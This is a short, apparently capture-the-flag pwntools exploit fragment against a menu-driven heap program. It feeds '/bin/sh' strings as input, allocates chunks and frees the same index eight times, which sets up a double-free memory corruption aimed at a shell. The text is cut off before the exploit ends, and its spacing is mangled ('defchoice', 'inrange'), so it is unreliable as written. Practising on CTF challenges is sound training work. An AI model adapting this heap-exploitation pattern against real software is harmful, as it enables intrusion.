defchoice(ch): p.sendlineafter(b'Input your choice:',str(ch))
defadd(size,content): choice(1) p.sendlineafter(b'Please input the size of story: ',str(size)) p.sendafter(b'please inpute the story: ',content)
deffree(index): choice(4) p.sendlineafter(b'Please input the index:',str(index))
p.sendafter(b'What\'s your name?',b'/bin/sh\0') p.sendafter(b'Please input your ID.',b'/bin/sh\0') add(0x88,b'a'*0x88)#0 add(0x18,b'a'*0x18)#1 add(0x28,b'a'*0x28)#2 add(0x38,b'/bin/sh\0')#3 for i inrange(8): free(0)